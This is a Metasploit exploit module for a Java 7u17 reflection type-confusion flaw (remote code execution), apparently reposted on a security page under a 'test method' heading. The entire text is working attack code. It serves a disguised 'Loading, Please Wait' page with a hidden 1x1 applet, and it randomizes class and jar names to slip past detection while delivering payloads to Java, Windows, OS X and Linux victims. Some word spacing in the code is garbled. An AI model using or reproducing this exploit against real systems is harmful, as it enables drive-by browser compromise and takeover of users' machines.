Java Applet Reflection Type Confusion Remote Code Execution

测试方法:

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1. ##
2. # This file is part of the Metasploit Framework and may be subject to
3. # redistribution and commercial restrictions. Please see the Metasploit
4. # web site for more information on licensing and terms of use.
5. # http://metasploit.com/
6. ##
7.  
8. require'msf/core'
9. require'rex'
10.  
11. classMetasploit3<Msf::Exploit::Remote
12. Rank=ExcellentRanking
13.  
14. include Msf::Exploit::Remote::HttpServer::HTML
15. include Msf::Exploit::EXE
16.  
17. include Msf::Exploit::Remote::BrowserAutopwn
18. autopwn_info({:javascript =>false})
19.  
20. def initialize( info ={})
21.  
22. super( update_info( info,
23. 'Name'=>'Java Applet Reflection Type Confusion Remote Code Execution',
24. 'Description'=>%q{
25. Thismodule abuses JavaReflection to generate a TypeConfusion, due to a weak
26. access control when setting final fields on static classes,and run code outside of
27. the JavaSandbox.The vulnerability affects Java version 7u17and earlier.This
28. exploit doesn't bypass click-to-play, so the user must accept the java warning in
29. order to run the malicious applet.
30. },
31. 'License' => MSF_LICENSE,
32. 'Author' =>
33. [
34. 'JeroenFrijters', # Vulnerability discovery and PoC
35. 'juan vazquez' # Metasploit module
36. ],
37. 'References' =>
38. [
39. [ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
40. ['URL','http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html']
41. ],
42. 'Platform'=>['java','win','osx','linux'],
43. 'Payload'=>{'Space'=>20480,'BadChars'=>'','DisableNops'=>true},
44. 'Targets'=>
45. [
46. ['Generic (Java Payload)',
47. {
48. 'Platform'=>['java'],
49. 'Arch'=> ARCH_JAVA,
50. }
51. ],
52. ['Windows x86 (Native Payload)',
53. {
54. 'Platform'=>'win',
55. 'Arch'=> ARCH_X86,
56. }
57. ],
58. ['Mac OS X x86 (Native Payload)',
59. {
60. 'Platform'=>'osx',
61. 'Arch'=> ARCH_X86,
62. }
63. ],
64. ['Linux x86 (Native Payload)',
65. {
66. 'Platform'=>'linux',
67. 'Arch'=> ARCH_X86,
68. }
69. ],
70. ],
71. 'DefaultTarget'=>0,
72. 'DisclosureDate'=>'Jan 10 2013'
73. ))
74. end
75.  
76.  
77. def setup
78. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Exploit.class")
79. @exploit_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
80. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union1.class")
81. @union1_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
82. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union2.class")
83. @union2_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
84. path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","SystemClass.class")
85. @system_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
86.  
87. @exploit_class_name= rand_text_alpha("Exploit".length)
88. @exploit_class.gsub!("Exploit",@exploit_class_name)
89. super
90. end
91.  
92. def on_request_uri(cli, request)
93. print_status("handling request for #{request.uri}")
94.  
95. case request.uri
96. when/\.jar$/i
97. jar = payload.encoded_jar
98. jar.add_file("#{@exploit_class_name}.class",@exploit_class)
99. jar.add_file("Union1.class",@union1_class)
100. jar.add_file("Union2.class",@union2_class)
101. jar.add_file("SystemClass.class",@system_class)
102. metasploit_str = rand_text_alpha("metasploit".length)
103. payload_str = rand_text_alpha("payload".length)
104. jar.entries.each {|entry|
105. entry.name.gsub!("metasploit", metasploit_str)
106. entry.name.gsub!("Payload", payload_str)
107. entry.data = entry.data.gsub("metasploit", metasploit_str)
108. entry.data = entry.data.gsub("Payload", payload_str)
109. }
110. jar.build_manifest
111.  
112. send_response(cli, jar,{'Content-Type'=>"application/octet-stream"})
113. when/\/$/
114. payload = regenerate_payload(cli)
115. ifnot payload
116. print_error("Failed to generate the payload.")
117. send_not_found(cli)
118. return
119. end
120. send_response_html(cli, generate_html,{'Content-Type'=>'text/html'})
121. else
122. send_redirect(cli, get_resource()+'/','')
123. end
124.  
125. end
126.  
127. def generate_html
128. html =%Q|<html><head><title>Loading,PleaseWait...</title></head>|
129. html +=%Q|<body><center><p>Loading,PleaseWait...</p></center>|
130. html +=%Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
131. html +=%Q|</applet></body></html>|
132. return html
133. end
134.  
135. end